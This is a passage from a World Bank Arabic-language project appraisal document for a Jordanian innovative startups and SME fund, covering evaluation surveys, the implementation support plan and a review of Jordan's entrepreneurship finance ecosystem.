بموجب العقد الموقع بينها وبين مدير الصندوق. 55 .سوف يتبع إطار المتابعة والتقييم أفضل الممارسات الدولية. بوجه عام، سوف يتبع إطار المتابعة والتقييم بالمشروع توجيهات التقييم الموضحة في حاالت التدخل الدولي المماثلة، مثل التوجيهات المتبعة في سكوتلندا أو الدنمارك، وفي مشروعات البنك الدولي المشابهة لهذا المشروع في لبنان والمغرب. ويقوم هذا اإلطار على ثالثة مستويات: أ- مؤشرات النتائج وإطار المتابعة )انظر القسم السابع أعاله(: يعتمد إطار النتائج على المؤشرات الرئيسية والنتائج الوسيطة من كل مكون، ويشتمل على مؤشرات معنية باالستفادة من استثمارات القطاع الخاص في مرحلة التأسيس والمراحل المبكرة وفي استثمارات رأس المال المخاطر ، وأثر المشروع على الشركات والمؤسسات الناشئة في المراحل المبكرة من حيث تسهيل حصولها على التمويل وزيادة نموها، باإلضافة إلى مؤشرات تتعلق باألنشطة الرامية إلى تطوير النظام البيئي الشامل. ب- دراسة استقصائية تقييمية الستراتيجية االستثمار وأداء الشركات المستثمرة، وفق ما ورد في المكون األول )الجداول من 4-2 إلى 2-6 ومربع النص رقم 2-1 أدناه(. سوف يستند تقييم استراتيجية االستثمار وأداء الشركات إلى المعلومات المقدمة من الشركات المستفيدة )كالعائدات ومجال العمليات والعمالة والصادرات(. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 67 انظر االستبيان أبناه لمزيد من المعلومات. سوف يرصد المشروع بغرض جمع المعلومات وتطبيق إطار المتابعة والتقييم عدد النازحين المقيمين في البالد بشكل قانوني )مثل الالجئين السوريين الذين يحملون تصاريح عمل( وينتفعون من المشروع، إما لكونهم رواد أعمال أو جزء من العمالة التي تشغل وظائف المشروع. جدول 2-4 .بيانات تعريفية للجهات المستفيدة )مثال للنموذج( اسم المؤسسة الصغيرة أو المتوسطة/ الشركة الناشئة اسم المالك )المالك( نوع المالك )المالك( الجنسية/ وضع اإلقامة القطاع الذي تمارس فيه الشركة نشاطها المنطقة الجغرافية لتنفيذ العمليات ما قيمة التمويل الذي طلبته الشركة؟ ما قيمة التمويل المختلط الذي حصلت عليه الشركة؟ هل تقدمت الشركة بطلب للحصول على قرض في إطار البرنامج؟ هل حصلت الشركة على القرض؟ إذا لم تحصل عليه، يرجى توضيح السبب هل حصلت الشركة على أي نوع أخر من التمويل؟ إذا كانت اإلجابة بنعم، يرجى تحديد نوع التمويل )دين، ضمان ائتماني، منحة، أسهم(، وهل كان ذلك بعد أم قبل الحصول على رأس المال من هذا الصندوق، كما يرجى تحديد مصدر التمويل )البنك، األسرة، منظمة غير حكومية، إحدى شبكات رعاة األعمال، برنامج عام أخر، وهكذا(. هل تقوم المؤسسة الصغيرة أو المتوسطة بإعداد وتقديم القوائم المالية السنوية؟ هل تقدمت الشركة بطلب الحصول على براءة اختراع منذ تأسيسها؟ جدول 2-5 .أداء الجهات المستفيدة )مثال للنموذج( مصدر التكرار القيم التراكمية أداء الجهة المستفيدة وحدة القياس خط األساس سنة 1 سنة 2 سنة 3 سنة 4 سنة 5 البيانات اإليرادات دوالر أمريكي الهامش التشغيلي % سنوي مسح الصادرات )إن وجدت( دوالر أمريكي سنوي مسح عدد الموظفين الذين يعملون بدوام عدد سنوي مسح كامل والذين يعملون بدوام جزئي نسبة النساء بين الموظفين % سنوي مسح نسبة الشباب بين الموظفين )السن أقل من 35 سنة( % سنوي مسح نسبة النازحين السوريين الحاصلين % سنوي مسح على تصاريح عمل قانونية إجمالي االستثمارات الخاصة في المؤسسات الصغيرة والمتوسطة المستفيدة ألف دوالر أمريكي سنوي مسح جدول 2-6 .الممارسات اإلبتكارية لدى الجهات المستفيدة )مثال للنموذج( هل أنت حاصل حاليا التوضيح( ً على أي اعتمادات أو تصديقات دولية بخصوص الجودة؟ )يرجى هل لديك أي خطط للحصول على اعتماد/ تصديق خالل السنوات الثالثة القادمة؟ )إذا كانت اإلجابة بنعم، يرجى وصف طبيعة التصديق والوقت المقرر للحصول عليه(. هل لديك موقع إلكتروني محدث أو موقع للتواصل االجتماعي؟ هل تستخدم وسائل االتصال عبر اإلنترنت ألغراض ممارسة نشاطك التجاري؟ إذا كانت اإلجابة بنعم، يرجى البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 68 توضيح كيفية ذلك. هل تقدم دورات تدريبية لفريق العمل المهني/ الفني؟ إذا كانت اإلجابة بنعم، يرجى ذكر أنواع هذه الدورات ومعدالت تكرارها هل لديك إمكانية للوصول إلى األبحاث الدولية وأفضل الممارسات في القطاع / المجال الذي تمارس فيه نشاطك؟ إذا كانت اإلجابة بنعم، فكيف ذلك؟ مربع النص 2-1 .مسح للجهات المستفيدة وغير المستفيدة المحتملة التي تم تحديدها )مثال للنموذج(. معلومات أساسية أ- اسم الجهة المستفيدة/ غير المستفيدة ب- الجنسية/ وضع اإلقامة ت- تاريخ التأسيس ث- القطاع ج- مرحلة النمو ح- خصائص الشركات الموضوع األول. فعالية عملية تقديم العروض أ- ؟ ً يسيرا ً هل يعتبر تقديم عرض للحصول على التمويل إجراءا ب- هل قدر المعلومات المطلوب معقوال؟ استغرقت عملية ملء المستندات واألوراق؟ ت- كم يوماً الموضوع الثاني. شفافية عملية االختيار أ- هل ترى أن عملية االختيار تتسم بالشفافية والدقة والنزاهة؟ ب- إذا كان عرضك قد رفض، فما هي أسباب رفض التمويل؟ )i )االستثمار مليء بالمخاطر )ii )المستثمر ال يتعامل مع القطاع موضوع العرض )iii )الشركة غير جاهزة لالستثمار )iv )المستثمر ال يتعامل مع نطاق االستثمار موضوع العرض )v )معدل العائد المتوقع منخفض للغاية )vi )ال يمتلك المستثمر القدرة على تقييم الصفقة ت- هل الفترة الزمنية المستغرقة بين تقديم العرض واختياره مقبوال؟ ولماذا؟ الموضوع الثالث. فعالية الدعم أ- الدعم المالي )i )ما هو المبلغ المالي الذي حصلت عليه من الصندوق؟ )يرجى توضيح المبلغ الممنوح في كل دورة( )ii )لتنفيذ األنشطة التي ترغب في تمويلها؟ ولماذا؟ هل الدعم المالي المقدم كافياً ب- الدعم غير المالي )i )هل حصلت على دعم غير مالي )على سبيل المثال: خدمات استشارية(؟ )ii )ما هو نوع هذا الدعم؟ )iii )؟ هل نوع الدعم غير المالي المقدم مجدياً  ما الدرس الذي استفدته؟  ما هي اإلمكانات التي نمت لديك بعد االستثمار؟ الموضوع الرابع. فعالية اإلنفاق )للجهات المستفيدة فقط( أ- هل عملية طلب التمويل سهلة؟ )نعم/ال( ب- هل قدر المعلومات المطلوب معقوال؟ استغرقت عملية ملء النماذج واالستمارات؟ ت- كم يوماً ث- هل الفترة الزمنية المستغرقة بين تقديم الطلب وصرف األموال معقولة؟ ج- هل اضطررت لوقف النشاط نتيجة لتأخر التمويل؟ الموضوع الخامس: فعالية تقديم التقارير ذات الصلة بالمشروع )للجهات المستفيدة فقط( أ- هل ترى أن عملية تقديم التقارير ذات الصلة بالمشروع مناسبة؟ )نعم/ال، مع التوضيح( )i )كمية المعلومات البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 69 )ii )جودة المعلومات ونوعيتها )iii )التواتر والتكرار الموضوع السادس. دالئل الدعم والمساعدة أ( ما مدى احتمال زيادة رأس المال في ظل غياب الدعم؟ )i( ً جيدة جدا )ii )جيدة )iii )سيئة )iv )ال أعرف ب( الجهات المستفيدة: ما هي العواقب التي ربما تعرضت لها ما لم تحصل على المساعدة المالية؟ يمكنك اختيار أكثر من إجابة مما يلي. )i )كنت سأمضي في تنفيذ النشاط التجاري تماماً وكأنني حصلت على المساعدة المالية. )ii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تعيين عدد قليل من العمال. )iii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، صرف استثمارات أقل على اآلالت والمعدات والتكنولوجيا. )iv )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تقليل أنشطة البحث والتطوير واالبتكار. )v )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، عدم دخول أسواق جديدة. )vi )كنت سأمضي في تنفيذ النشاط التجاري، ولكن سأستغرق فترة أطول قبل الوصول إلى السوق. )vii )لم أكن ألمضي في تنفيذ النشاط التجاري. ت( الجهات المستفيدة: ما هي العواقب التي ربما تعرضت لها ما لم تحصل على المساعدة المالية؟ يمكنك اختيار أكثر من إجابة مما يلي. )i )كنت سأمضي في تنفيذ النشاط التجاري تماماً وكأنني حصلت على المساعدة المالية. )ii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تعيين عدد قليل من العمال. )iii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، صرف استثمارات أقل على اآلالت والمعدات والتكنولوجيا. )iv )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تقليل أنشطة البحث والتطوير واالبتكار. )v )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، عدم دخول أسواق جديدة. )vi )كنت سأمضي في تنفيذ النشاط التجاري، ولكن سأستغرق فترة أطول قبل الوصول إلى السوق. )vii )لم أكن ألمضي في تنفيذ النشاط التجاري. الموضوع السابع: التأثيرات المهمة: الوصول إلى مصادر التمويل الخارجية هل ترى أن البرنامج قد عمل على تسهيل الوصول إلى تمويل رأس المال او تمويل الدين من مستثمرين أخرين من القطاع الخاص في دورات متالحقة؟ ت- سوف يركز المستوى الثالث من التقييم على إدارة صناديق تمويل مرحلة التأسيس والمرحلة المبكرة ومرحلة رأس المال المخاطر )مربع النص رقم 2-2 و2-3 .)سوف يتم إعداد تقريرين لعملية تقييم البرنامج بأكمله، يقدم أول تقرير في نهاية السنوات الثالثة األولى، والثاني بعد نهاية المشروع )أي بعد ست سنوات(. لفعالية وكفاءة إدارة البرنامج سوف يمول المشروع إعداد هذين التقريرين. سوف يشمل التقريران تقيماً لغرض المشروع. سوف نتناول الحقاً وتصميمه. من المتوقع أن يكون استخدام أدوات المسح اختياراً مالئماً بعض األسئلة التي يتضمنها االستبيان وصيغته، بعد أن يتم تحديدها بمعرفة أحد خبراء التقييم. على سبيل المثال، تحتوي مربعات النص التالية على بعض من األسئلة المعتاد استخدامها في إجراء تقييم برامج تمويل االبتكارات. مربع 2-2 :دراسة استقصائية عن المستثمر )مثال للنموذج( معلومات أساسية أ- االسم ب- الجنسية ت- دولة اإلقامة الموضوع األول. المشاركة في الصندوق أ- ما هي األسباب األساسية التي شجعتك على االستثمار في الصندوق؟ )i )تقاسم المخاطر )ii )زيادة حجم االستثمار البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 70 )iii )زيادة العائدات المتوقعة الموضوع الثاني. إدارة الصندوق أ- ما رأيك في طريقة إدارة الصندوق بأكملها؟ )حدد إجابتك برقم من 1 إلى 5 ،على اعتبار أن 1 تعني أدنى أداء و5 تعني أفضل أداء( )i )الشفافية )ii )الفعالية )iii )الكفاءة )iv )التنسيق بين المستثمرين )v )التواصل بين المستثمرين الموضوع الثالث. محفظة االستثمارات أ- هل توافق على طريقة إدارة محافظة االستثمارات؟ )حدد إجابتك برقم من 1 إلى 5 ،على اعتبار أن 1 تعني "ال أوافق" و5)" "أوافق تماماً )i )الحجم )ii )المخاطر )iii )العائد )iv )التنوع )v )القطاعات )vi )مرحلة نمو الجهة المستثمر فيها ب- هل كنت لتغير شيئاً ما في استراتيجة االستثمار؟ )يرجى التحديد( الموضوع الرابع. معدل العائد الداخلي واستراتيجية التخارج )بعد سنتين من بدء النشاط( أ- هل أنت راضي عن متوسط معدل العائد الداخلي؟ ب- ما رأيك في استراتيجية التخارج؟ (i (توقيت التخارج )ii )نمط التخارج الموضوع الخامس. دالئل الدعم والمساعدة أ- ما هي العواقب التي ربما تعرضت لها ما لم ينشأ القطاع العام مرفق التمويل الجديد؟ )i )لكنت مضيت في االستثمار بنفس الطريقة وكأن القطاع العام هو شريكي في االستثمار. )ii )لكنت مضيت في االستثمار مع تقليل نطاق العمل. )iii )لكنت مضيت في االستثمار مع تقليل المخاطر المحتملة. )iv )لكنت مضيت في االستثمار ولكن مع البحث عن معدالت عائد أعلى. )v )لما كنت مضيت في االستثمار. مربع 2-3 :دراسة استقصائية عن مدير البرنامج )مثال للنموذج( معلومات أ-ساسية أ- االسم الموضوع األول. تحديد الفرص االستثمارية أ- هل يبحث الصندوق أو يحدد فرص استثمارية؟ ب- هل هناك مسار جيد؟ لماذا؟ الموضوع الثاني. عملية اختيار الجهة المستفيدة أ- ما هي المعايير التي يأخذها الصندوق في االعتبار للقيام باالستثمار؟  المخاطر  العائدات المتوقعة  فريق اإلدارة  غير ذلك )يرجى التحديد( أ- كم تستغرق عملية العناية الواجبة باالستثمار؟ ب- ما المدة المستغرقة بين تقدم المستفيد بطلب الحصول على التمويل وبين حصوله عليه؟ الموضوع الثالث. الدعم المالي أ- كم عدد الصفقات التي أجراها الصندوق في السنة وفي كل مرحلة )على سبيل المثال، مرحلة اإلنشاء أو المرحلة المبكرة أو مرحلة رأس المال البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 71 المخاطر (؟ ب- ما هو متوسط حجم كل صفقة في كل مرحلة؟ ت- هل كان أداء الصندوق في التعامل مع الصفقات ومتوسط حجمها يتوافق مع )أ( األداء المتوقع في البداية و)ب( والصناديق الخاصة المشابهة؟ )نعم/ ال، لماذا؟( الموضوع الرابع: مدة االستثمارات )بعد مرور سنتين على بدء النشاط( أ- ما هو متوسط المدة التي استغرقها الصندوق لالستثمار في كل شركة وفي كل مرحلة؟ ب- هل هذه الفترة طويلة بما يكفي للحصول على اإليرادات المتوقعة؟ ت- ما هو متوسط معدل العائد الداخلي في كل مرحلة؟ ث- ما هو نوع استراتيجية التخارج التي يفضلها الصندوق في أغلب الحاالت؟ ولماذا؟ البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 72 ملحق رقم 3 :خطة دعم التنفيذ الدولة: المملكة الهاشمية األردنية مشروع صندوق تمويل الشركات الناشئة اإلبتكارية استراتيجية ونهج دعم التنفيذ 1 .سوف يرسل البنك الدولي بعثتين رئيسيتين لدعم المشروع سنوياً، باإلضافة إلى البعثة المعنية بمراجعة منتصف المدة، وترسل بعد 3 سنوات من تشغيل المشروع. أما إذا وقعت مشكالت في التنفيذ قبل مرور 3 سنوات واقتضى حلها إجراء تحليل عميق ترسل على هذا األساس. وإعادة هيكلة للمشروع، فإن بعثة مراجعة منتصف المدة ُ تجرى البعثات المعنية بمشتريات المشروع واإلدارة المالية باعتبارها جزءاً من الدعم االئتماني الدوري الذي يقدم على 2 .وسوف ُ نحو متزامن لكافة عمليات مشروعات البنك الدولي في األردن. ويستثنى من مبدأ اإلشراف المستقل لخبراء االئتمان كل من: بعثة مراجعة نصف الفترة وبعثات دعم التنفيذ وتقرير إكمال التنفيذ؛ حيث يشارك فيهم، على األرجح، فريق مشروعات البنك الدولي بأكمله. اإلشراف على الضمانات الوقائية 3 .من المتوقع أن يحافظ صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة على إمكانية الحصول على الخدمات لمقتضى الحاجة. ويعني ذلك أن الصندوق سيستفيد من االستشارية لألخصائيين البيئيين وفقا خدمات عدة أخصائيين بيئيين عند ً لنسبة تطبيقات المشروعات الفرعية التي تقتضي وضع خطط لإلدارة االجتماعية الحاجة، وقد يتغير معدل االستعانة بهم وفقاً والحفاظ على البيئة. 4 .خالل عملية األشراف، سوف يتم جمع عينة عشوائية من نماذج فحص المشروعات الفرعية التي اعتمدت للحصول على كي تُ التمويل وتم تصنيفها ضمن الفئة ب/2 ل راجع للتحقق من ضمان الجودة. وقد تسند أنشطة بناء القدرات التالية إلى موظفي الصندوق ومن يبدي اهتمامه من شركاء الصندوق الحاليين أو المحتملين، بحيث تغطي األنشطة ما يلي: )أ( استعراض عملية فحص المشروعات الفرعية وتصنيفها، بما في ذلك "قائمة العمالء المستبعدين؛ )ب( استعراض هيكل الصندوق وإطار اإلدارة البيئية واالجتماعية، بما في ذلم قائمة المشروعات الفرعية المحتملة؛ )ج( التدريب على اإلعداد إلطار اإلدارة البيئية واالجتماعية للمشروعات الفرعية خطة دعم التنفيذ ومتطلبات الموارد الفترة الزمنية محور التركيز المهارات المطلوبة الموارد التقديرية الدور الشريك ً االثنا عشر شهرا األولى مراجعة طلبات تقديم العروض لمدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة، بما في ذلك معايير التقييم وتقرير االختيار. مراجعة استراتيجية االستثمار وخطة عمليات صندوق الشركات الناشئة والمؤسسات، بما في ذلك تعيين فريق العمل. أخصائي إدارة المشروع متخصصين استشاريين في برامج صناديق من مؤسسة التمويل الدولية في إدارة صناديق رأس المال المخاطر استشاريون ومتخصصون من فريق عمل البنك في مجال دعم النظام البيئي الشامل أخصائي المشتريات أخصائي اإلدارة المالية أخصائي الضمانات الوقائية 180 ألف دوالر 12-48 شهر تنفيذ أنشطة التمويل وأنشطة تدفق الصفقات أخصائي إدارة المشروع أخصائي المشتريات أخصائي اإلدارة المالية أخصائي الضمانات الوقائية 150 ألف دوالر البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 73 غير ذلك إعادة الهيكلة المحتملة أخصائي إدارة المشروع أخصائي المشتريات أخصائي اإلدارة المالية استشاري قانوني 150 ألف دوالر مجموعة المهارات المطلوبة المهارات المطلوبة عدد أسابيع العمل عدد الرحالت تعليقات قائد فريق المهام 40 أسبوع 12 6 أسبوع 24 F&M team members 3 أسبوع 10 T&C team members دعم العمليات 12 أسبوع 0 اإلدارة المالية 12 أسبوع 0 فريق العمل المحلي مدعوم المشتريات 12 أسبوع 2 فريق العمل المحلي بفريق العمل اإلقليمي مهارات قانونية 3 أسبوع 0 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 74 1. Opportuni… 2. Start-up Skills 3. Risk Acceptance 4. Networking 5.Cultural Support 6. Opportuni… 7. Technolog… 8. Human Capital 9. Competition 10. Product Innovation 11. Process Innovation 12. High Growth 13. Internatio… 14. Risk Capital Jordan MENA World Average ملحق رقم 4 :النظام البيئي الشامل لريادة األعمال وتمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة في األردن أوال- استعراض موجز للنظام البيئي الشامل لريادة األعمال وتمويل المؤسسات الصغيرة والمتوسطة في األردن 1 .يضع المؤشر العالمي لريادة األعمال )وهو المؤشر األكثر شموال لقياس أداء النظم البيئية الوطنية حول العالم كل عام( األردن في المرتبة الرابعة والستين بين مائة واثنتان وثالثين دولة، وفي المرتبة العاشرة في منطقة الشرق األوسط وشمال أفريقيا )انظر الشكل رقم 4 .)ويكشف المؤشر أن األردن تفوق المعدالت العالمية في إتاحة الفرص ومهارات الشركات الناشئة والتواصل والدعم الثقافي وابتكار المنتجات ومؤشرات النمو المرتفع، ولكن تلك الوتيرة لم يصاحبها زيادة في رأس المال المحلي، خالفاً المخاطر للمعتاد عندما يسود االبتكار وتأسيس الشركات الناشئة. فبالمقارنة بالعالم بوجه عام وبمنطقة الشرق األوسط وشمال أفريقيا على وجه التحديد، نجد أن معدالت األردن في اإلقبال على المخاطر واالستثمار في رأس المال المخاطر متدنية للغاية. ولذلك فإن الكثير من هيئات دعم المؤسسات تشير إلى أن عدم إتاحة التمويل قد زاد من صعوبة تأسيس الشركات الناشئة عالية الكفاءة من حيث الكم والكيف، فأغلب الشركات الناشئة األردنية تتجه إلى دبي حيث يمكنها إيجاد مستثمرين، رغم احتياج االقتصاد األردني إليها. شكل رقم 4-1 .مقارنة على مستوى الركائز بين األردن ودول منطقة الشرق األوسط وشمال أفريقيا والمعدل العالمي )المؤشر العالمي لريادة األعمال - 2016.) المصدر: قاعدة بيانات المؤشر العالمي لتنمية المؤسسات، 2016 في استيعاب التكنولوجيا والتدويل ورأس مال 2 .وفضال عن ذلك، فإن المؤشر العالمي لريادة األعمال يعطي األردن تقييماً متدنياً البشري، ويرجح أن تدني هذا العامل األخير يرجع إلى كثرة العمالة األردنية الماهرة بالخارج. ويعكس ضعف استيعاب التكنولوجيا والتدويل ميل المؤسسات األردنية المتوسطة والصغيرة إلى األنشطة الصناعية التقليدية )شركات تجارة ومصانع صغيرة ومشروعات بيع بالتجزئة أو تقديم خدمات( وأغلبها أعمال تجارية عائلية ال تعمل في سبيل التوسع، وإنما تحاول الحفاظ على الوضع القائم. ومن شأن دعم االبتكار وريادة األعمال )مثال عن طريق تطوير األنواع الالزمة من تمويل المخاطر وتوفير بيئة قانونية وتنظيمية مواتية( أن يساهم في رفع تنافسية األردن وتحقيق نمو مستدام. ويلخص الجدول 1-2 أدناه أبرز التوصيات لمعالجة التحديات التي تواجهها الصناديق االستثمارية في األردن. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 75 جدول رقم 4-1 .توصيات لتحسين القوانين المحلية التي تنظم عمل صناديق االستثمار الخاص/ رأس المال المخاطر التوصيات القضايا التي ينبغي عالجها/ الحالة اعتماد هيكل جديد لشركات االستثمار. لبعض القيود التي يفرضها قانون ً هيكل الصندوق: ال يتوافر هيكل الصندوق في األردن نظرا الشركات. ومع أن نموذج الشركات المؤسسة بنظام الشراكات المحدودة متاح )من الناحية النظرية( عن طريق الشراكات المحدودة والشراكات المحدودة باألسهم، فإن ثمة متطلبات يقتضيها قانون الشركات تجعل من غير العملي، إن لم يكن مستحيال، تنفيذ البنية التقليدية للصناديق في األردن. ومن هذه القيود: )أ( اشتراط كون الشريك المتضامن في الشراكة المحدودة شخص ال شركة؛ )ب( اشتراط وجود شريكين متضامنين في الشراكة المحدودة باألسهم؛ )ج( اشتراط مشاركة كل شريك متضامن في الشراكة المحدودة باألسهم بنسبة 30 %من القيمة اإلجمالية للصندوق. ولذلك فإن اديق التي ترغب في أن تؤسس وفقاً الصن لبنية الشركات األردنية فقط )"الصناديق المحلية"( تؤسس في هيئة شركة مساهمة خاصة، وهي نوع من الشركات ذات المسئولية المحدودة التي تسمح بإنشاء فئات األسهم. الحالة: يود مراقب الشركات المسئول عن قانون الشركات أن يعدل القانون أو يسن تشريعات خاصة لتنظيم مجال االستثمار الخاص واالستثمار في رأس مال المخاطر، وقد أعرب عن اهتمامه بطلب المساعدة الفنية في هذا المجال من البنك الدولي. الضرائب: يعد إنشاء هيئة معنية بالضرائب العابرة من أهم مقومات بنية الصناديق، ولكن هيكل الشركات المساهمة الخاصة التي تعتمدها الصناديق المالية ال تعد من هذه الهيئات. وتنص المادة الثانية من قانون ضريبة الدخل على أن جميع الهيئات المسجلة في األردن خاضعة للضرائب؛ أي أن الصناديق المحلية عليها تقديم عائداتها الضريبية ودفع الضرائب على أرباح مزاولة أعمالها. ويمثل هذا تحديا حيث إن أرباح االستثمارات التي تجنيها الصناديق المحلية في إطار نشاطها االستثماري ً؛ المعتاد سوف تعد ضمن أرباح مزاولة أعمالها وبذلك فإنها تخضع لضريبة الدخل. تحسين أنظمة صناديق االستثمار البديلة )بما في ذلك تحسين القواعد التي تنظم عمل الشراكات العامة ومديري الصناديق(. تخضع األنظمة المتعلقة بكافة أنواع الصناديق لوالية مراقب الشركات، بما فيها إصالحات أنظمة االستثمار الخاص واالستثمار في رأس المال المخاطر وإصالحات قانون الشركات. أما إذا سجلت الشركات أنفسها ضمن شركات التجارة في األوراق المالية فإنها تخضع حينئذ لهيئة سوق المال. وكانت هذه اللجنة قد أصلحت قانون األوراق المالية بحيث يتسم بالمرونة مع أنواع الصناديق المختلفة، وقد وضع خارطة طريق لإلصالح والتنفيذ بمساعدة المصرف األوروبي لإلنشاء . والتعمير، وسوف يعرض القانون على البرلمان قريباً تحديث قوانين اإلفالس لتبسيط عملية التصفية بالنسبة للشركات التي تندرج ضمن حافظة الصندوق. استكملت وزارة الصناعة والتجارة في اآلونة األخيرة قانون اإلفالس الجديد بمساعدة مؤسسة التمويل الدولية، ويتوقع عرض هذا القانون على مجلس الوزراء ألغراض اعتماده في أقرب وقت ممكن. تطبيق المعايير الدولية الجديدة لإلبالغ المالي وقواعد المحاسبة التي تستهدف المؤسسات الصغيرة والمتوسطة والشركات التي تندرج ضمن حافظة الصندوق. يخضع هذا البند لسلطة مراقب الشركات، وقد أعرب عن رغبته التامة في فعل أي خطوات الزمة لدعم المشروع وبيئة األعمال، لكن ينبغي في المقام األول بناء القدرات وتقديم الدورات التدريبية. سوف تصبح ممارسة األعمال أكثر سهولة إذا تمتلك وزارة االقتصاد والتجارة سلطة اتخاذ هذا القرار. وقع األردن على معاهدة أبوستيل. حصول المؤسسات الصغيرة والمتوسطة على االئتمان 3 .يهيمن القطاع المصرفي على السوق المالي، وهو قطاع ضعيف التنافسية ويؤدي دور محدود في الوساطة المالية، وقد أدى التدهور االقتصادي إلى ازدياد اقتراض الحكومة من البنوك، كما أدى ازدياد القروض غير العاملة إلى عرقلة نمو االئتمان الذي يقدمه القطاع الخاص إلى المؤسسات الصغيرة والمتوسطة. وفي ضوء هذه الظروف، تميل البنوك إلى تحاشي إقراض هذه المؤسسات، مفضلةً عليهم العمالء األكثر خبرة. ولم يقتصر أثر زيادة االقتراض الحكومي من البنوك على مزاحمة القطاع بال شك على سيولة النظام البنكي، وال سيما سيولة البنوك الثالثة الك الخاص وحسب، بل إنه سيؤثر أيضا برة التي ال تزال في ً لنمو االتجاه المحافظ بين البنوك الكبيرة في مجال اإلقراض، فليس من بديل أمام الوقت الحالي تمتلك سيولة ال بأس بها. ونتيجةً المؤسسات الصغيرة والمتوسطة للحصول على االئتمان سوى البنوك الصغيرة والمتوسطة التي تقرض عادًة المؤسسات التي اً تواجه ضعوط كبيرة للحصول على سيولة. 4 .بلغت القيمة اإلجمالية لمرافق االئتمان في البنوك األردنية 21 مليار دينار أردني في 2015 ،أي 7.44 %من إجمالي أصول البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 76 البنوك، وهو ما يعكس الممارسات المحافظة للبنوك في منح القروض. وال تزال نسبة ائتمان القطاع الخاص من الناتج المحلي اإلجمالي منخفضة نسبية )70 ،)%يخصص أغلبه للشركات الكبرى. ومع أن البنوك هي المصدر الرئيسي للتمويل الخارجي الذي تحصل عليه المؤسسات الصغيرة والمتوسطة، فإن 11 %فقط من قروض البنوك يمنح لهذه المؤسسات، مقارنة بالنسب السائدة في األسواق الناشئة التي تتراوح بين 25 %و 40 .%وتوضح قاعدة بيانات الفجوة التمويلية في المشروعات لعام 2013 التابعة لمؤسسة التمويل الدولية سيادة عدم اإلنصاف في حصول الشركات على االئتمان، إذ يؤول أغلب التمويل البنكي إلى المؤسسات األكبر واألقدم بين المؤسسات الصغيرة والمتوسطة. شكل 4-2 .توزيع المرافق االئتمانية المصدر: تقرير االستقرار المالي 2014 ،البنك المركزي األردني 5 .لم يتم اإلنتهاء من وضع خطط ضمان تقديم االئتمان للمؤسسات الصغيرة والمتوسطة بالكامل لكنها تسير نحو التحسن. تقدم الشركة األردنية لضمان القروض وشركة االستثمار الخاص الخارجي في الوقت الحالي برامج لضمان القروض، وتوجه في األغلب لألعمال التجارية الراسخة التي تعمل منذ 3 سنوات على األقل. وقد أنشأت شركة االستثمار الخاص الخارجي صندوق ضمانات ائتمانية جزئية بقيمة 250 مليون دوالر أمريكي تديره مؤسسة اإلسكان التعاوني تحت مسمى الشركة األردنية لضمان القروض. وعاب مساهمة هذه الشركة في إقراض المؤسسات الصغيرة والمتوسطة انخفاضها، إذ بلغت 18.5 %فقط، لكن النسبة أخذت في الزيادة على مدار السنوات الثالثة أداة خاصة بتقديم الضمانات االئتمانية إلى الشركات ال الماضية. كما أطلقت الشركة مؤخرا ناشئة )المؤسسة منذ عام أو أقل(، لكن الوقت ً مبكر للحكم على أداء تلك األداة. القطاع الحكومي، 42% المؤسسات الصغيرة والمتوسطة، 8% قطاع اإلسكان والعقارات، %21 مرافق البيع بالتجزئة %21 الشركات 8% البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 77 مربع النص رقم 4-2 .قائمة بصناديق رعاة األعمال ورأس مال المخاطر في األردن )قائمة موجزة ال تضم الجميع(. صندوق البادية إمباكت: فرع شركة سيليكون بادية في الشرق األوسط. يبلع رأس ماله 33 مليون دوالر أمريكي، بالتعاون مع مستثمرين دوليين بنظام الشراكة المحدودة )مثل سيسكو والبنك األوروبي لالستثمار والحكومة األسبانية(، باإلضافة إلى صندوق الملك عبد هللا الثاني للتنمية. يهدف الصندوق إلى االستثمار في شركات اإلنترنت والهواتف المحمولة ووسائل اإلعالم الرقمية في مراحل التأسيس والمراحل المبكرة ومرحلة النمو. بقيمة ً كما أطلقت شركة بادية بالتعاون مع الشركة التكنولوجية القابضة لتسريع النمو صندوقا 15 مليون دوالر أمريكي لالستثمار في إنشاء ً جديدا صناديق جديدة لرأس مال المخاطر وتدريبها ودعمها، بحيث تستثمر في الشركات في مراحل نموها المبكر، وتتراوح قيمة هذه الصناديق بين 500 ألف و 5.1 مليون دوالر أمريكي. ومضة مينا فينتشرز )صندوق إقليمي(، ديسمبر 2014 :ومضة هي صندوق إقليمي برصيد افتتاحي يتخطي 70 مليون دوالر أمريكي بمعاونة مؤسسة التمويل الدولية باعتبارها مموال رئيسياً فيه، ويحظى بحصة استثمارية تتراوح بين مليون و 5 مليون دوالر أمريكي موزعة بالتساوي بين األردن ولببنان ومصر، وقد يخصص بعض االستثمارات لدبي إذا سنحت الفرصة. مؤسسة500 OASIS أويسس 500 :معجلة أعمال تدعمها الحكومة والشركة التكنولوجية القابضة لتسريع النمو وصندوق الملك عبد هللا الثاني للتنمية ومستثمرون آخرون، تأسس في 2009/2010 بهدف توفير 